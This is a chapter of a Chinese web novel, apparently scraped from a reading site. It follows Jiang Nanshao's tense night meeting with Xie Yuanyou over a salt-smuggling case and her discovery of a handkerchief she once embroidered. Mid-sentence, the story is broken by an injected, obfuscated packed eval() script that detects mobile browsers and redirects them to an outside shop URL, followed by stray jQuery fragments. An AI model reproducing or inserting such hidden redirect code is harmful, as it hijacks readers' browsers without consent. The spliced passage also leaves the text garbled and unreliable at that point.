默认冷灰
24号文字
方正启体

39. 兰草绣帕

作者:山雾妖本书字数:K更新时间:
    姜南绍没有应声,缓缓挪开按在伤处的手,就着衣摆蹭去血迹,动作慢条斯理,分明是故意拖延。心底却早已飞速盘算:是道出房家大房的冤屈?还是挑明铁铺的诡异怪事?由私盐秘事牵扯出西夏吐蕃暗中作祟之事?桩桩件件,都经不起他细细盘问,根本瞒不过他这双锐眼。


    谢元佑见她缄口不语,眼底冷意更甚,字字带刺:“是不敢说,还是无话可说?”


    “参军心里早有数,又何必多问。”姜南绍抬眼,迎上他的目光,不卑不亢,“那铁铺定有蹊跷,房家的案子,十成九与他们脱不了干系。我来这儿,不过是想寻些实打实的证据。”


    “证据?”谢元佑声调猛地提了起来,又急忙压下去,生怕惊动了屋内之人,声音绷得发紧,“你可知屋里头的人,腰间都别着利刃?你可知这院外埋了多少铁夹?你可知……”


    话到半截,他忽然顿住,胸口起伏得厉害,像是有什么东西硬生生堵在喉间,吞不下也吐不出。


    姜南绍望着他,一时竟有些恍惚。


    月光恰在此时从云缝里钻出来,在他侧脸镀上一层浅银。这张脸忽而便与记忆里那个少年重叠到一处,又转瞬剥离。


    他清瘦了许多,眉眼棱角愈发冷硬,眼底藏着些沉郁,是她如今读不透的模样。


    “我知道。”姜南绍垂下眼,声音轻缓而平静,“正因为清楚,我才会来。这点手段,还吓不住我。”


    谢元佑终究不知,如今的姜南绍早已今非昔比。她一身能耐,他半分也没瞧见,难不成,还把她当成当年那个说话细声细气、柔柔弱弱的阿濡,白白替她忧心费神。


    谢元佑被她一句话堵得无言以对,定定瞪了她许久,忽然抬起手来。


    姜南绍下意识往后一缩,背脊重重抵上墙壁,心头骤然收紧。


    可他并无半分逾矩之举,只从怀中摸出一方素色帕子,胡乱塞进她掌心,语气透着几分不耐:“擦了。满身是血,瞧着腌臜。”


    他眉头死死拧着,又冷硬补了句:“别脏了我的眼。”


    姜南绍低头望向自己的手,掌心与指缝间满是黏腻血污,看着确是一派狼狈。


    她默默接过帕子,草草擦拭几下,那素色绢布上登时晕开一片猩红。


    谢元佑沉下脸色,开口道:“说说看,你方才进去,查出些什么没有?”


    姜南绍没打算隐瞒,拣要紧的据实道来:“库房看着空荡荡的,并无正经物件。可屋中筐篮里残留着青盐的痕迹,我亲口尝过,断错不了。”


    “还有这个。”她抬手从怀中摸出一块铁废料,正是先前耿老板给的那一块,递到谢元佑面前,“这铁铺透着古怪,绝非正经营生,你得仔细彻查。”


    谢元佑伸手接过铁料,眉头登时拧紧,语气里带着几分嫌弃:“就这般直接揣进怀里,也不用布包一包,半点规矩也无,实在邋遢。”


    姜南绍斜了他一眼,又从怀中摸出一只小巧布囊,随手丢进他手里:“拿着包好便是,哪来这许多废话。”


    谢元佑接住布囊,细心将铁料裹好,揣入怀中,神色复归沉冷:“你先走。此处的事我自会处置,往后不准再踏足此地半步。”


    姜南绍一怔,当即开口想要争辩:“可——”


    “可什么?”谢元佑陡然上前一步,再度拉近两人之间的距离,声音压得极低,字字从齿缝间挤出,带着凌厉的狠劲,“你真当方才是凭自己的本事脱的身?铁铺里头的人,随便挑一个出来,你都未必招架得住,未免太过高估自己。方才若不是我暗中看护,你这条胳膊,早叫人卸了!还敢执意再来?是嫌命太长,赶着来送死不成?”


    姜南绍咬了咬唇,不服气,却又无从反驳——难不成要说,我方才是故意在你跟前示弱,本就是在打你的主意?


    她只得悻悻道:“谢参军若当真有心彻查此案,便该好好查查这铁铺究竟私铸何物。私盐倒卖尚且有迹可循,可那些长条包裹,形制全然不似盐包,其中定然藏着别的猫腻。”


    谢元佑望着她这副执拗又较真的模样,胸中翻涌的怒火莫名消散了大半。他深吸一口气,语气稍稍缓和下来:“房家私盐案与铁铺的异动,我自有分寸,轮不到你一个女冠来冒险插手、多管闲事。”


    话音稍顿,他神色复又沉冷下去,重回先前的冷硬凌厉:“至于你我之间的旧账,不急在这一时。你记着,你的命本就是我的,这笔债,我迟早要与你算个清清楚楚。”


    说罢,他转身便走。刚踏出两步,脚步却忽然顿住,头也不回地沉声吩咐:“走后巷,左拐第三个巷口拴着匹马,你骑它回匠巷。别走前街,巡夜兵丁方才过去,免得招惹事端。”


    姜南绍立在原地,望着他的身影一点一点没入巷尾的黑暗里,手中的帕子被攥得皱作一团,指节都泛了白。


    她低下头,细细端详那方帕子。上头染着斑斑血迹,边角处依稀可辨一株小小的兰草刺绣。她再将那针脚凑近了看,心头猛地一震——这绣帕……


    她慌忙抬了眼,想要唤住他,可巷尾空空荡荡,早已没了人影。


    巷中死寂得吓人,只有夜风穿巷而过,呜呜作响,伴着她急促的呼吸,四下更显清冷。


    她到底还是低估了谢元佑,这人从头至尾,都在试探她。


    姜南绍站了片刻,仔细叠好染血的帕子收进袖中,转身走向后巷。走了几步,终究忍不住回头,巷尾空空荡荡,只剩一片浓黑。


    她翻身上马,一路策马赶往匠巷。行至巷口,一眼望见谢元佑院中灯火未熄,心下微讶,没想到他回来得这样快。她勒住缰绳,打算先把马匹归还,上前轻轻叩响院门。


    连敲三四下,院内毫无声响。她正要转身,院门忽然“吱呀”开启。一位老嬷嬷端着烛火走出来,昏黄火光映着面容,开口问道:“姑娘找谁?”


    这声音听着耳熟,姜南绍不由仔细打量对方。老嬷嬷满头白发,却梳得齐整,脑后挽着小巧发髻,插一支暗纹银簪,半点不像寻常市井妇人。


    她双目清亮,神色沉静,瞧什么都波澜不惊,眉眼轮廓竟似一位旧识。


    姜南绍心下一动,连忙退到巷中阴影里,垂首低声道:“嬷嬷,我找谢参军。”


    季傅姆举


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574791|203598||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着烛火凑近几分,借着微光上下端详。深更半夜,独身女子登门寻人,实在蹊跷。她眼神不济,夜色里辨不清对方容貌,只含笑开口:“参军尚未回来,姑娘找他有事?”


    “今夜借了他的马,见院中亮着灯,以为人在,特意过来还马。”姜南绍把声音压得更轻。


    季傅姆心头暗自一怔,暗道这小子刚来秦州没多久,竟就招惹了外乡女子。若是正经事,大可白日去衙门寻访,何须深夜登门?她暗自腹诽,面上却依旧和气,侧身让出通路:“先进来吧。人还没回,马匹牵去后院马厩便可。”


    姜南绍心下惴惴,唯恐被季嬷嬷认出,半点不敢进门逗留,连忙开口推脱:“嬷嬷,我忽然记起,借马一路奔波,还没给牲口添草料,这般送回来实在不妥。我就住对门,先牵回去喂上些,明日等谢参军归来,我再亲自送过来。”


    季傅姆听闻她是邻里,心里稍宽,倒也放下几分疑虑。只是依旧提防着,并不愿多做纠缠,当即点头:“也罢,夜了,姑娘回去当心些。”


    姜南绍微微躬身行礼,转身牵马离去,心口兀自突突直跳,许久都平复不下。


    她将马牵回自家后院,拴入马厩添上草料,这才蹑手蹑脚推门进屋。


    正堂一片漆黑,周至语的房间也静悄悄的,想来早已睡熟。


    她不曾点灯,熟门熟路摸回卧房,脱下沾血的外衣,取来干净布条,将肩头伤口仔细清洗,随后躺卧在床上,可辗转反侧,毫无睡意,心头纷乱如麻。


    她侧过身,从袖中取出那方帕子,借着窗间洒落的月光端详许久。


    帕上的兰草针脚疏浅,做工粗糙,样式也寻常,全然没有当年京中流行的雅致模样。


    这帕子本就是她亲手所绣。她自幼便不喜女红,终日贪玩,这方帕子还是谢元佑硬逼着她做的。


    那时他总说,两人之间的事总得留个凭据,怕她日后变卦,有这帕子在,便能断了她其他姻缘,逼她只能嫁给他。


    可如今他竟随手将帕子递来,昔日将自己挂在嘴边的执念,想来早已烟消云散。


    蒋相墨此人,在他心里大抵也算不上什么。


    只是他几番试探,究竟意欲何为?他莫非已然察觉到了异样?


    她毫无倦意,思绪愈加清明,干脆起身,端来铜盆,将帕子与染血的衣裳一并放入,添上皂角反复搓揉,直到盆中不见半分猩红,这才停手。


    帕子洗净晾干,明日便送还给他。


    收拾妥当,她坐在床边,依着往日习惯,将今夜种种细细复盘。这是师傅早年教她的法子,事事梳理周全,不会放过半点线索。


    铁铺、青盐、形制怪异的长条包裹,还有匠巷、中城门、渭河渡口,以及谢元佑那张喜怒难测的脸,一幕幕在脑海里掠过。


    方才遇上的季傅姆也让她心有余悸。好在夜色浓重,老人家眼神不济,才没能将她认出,否则必定横生枝节。往后谢元佑那院子,是万万不能再靠近了。


    她又想起房家一案,听闻是邻里检举才东窗事发。可暗中告发之人究竟是谁?这疑点始终让人不解。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)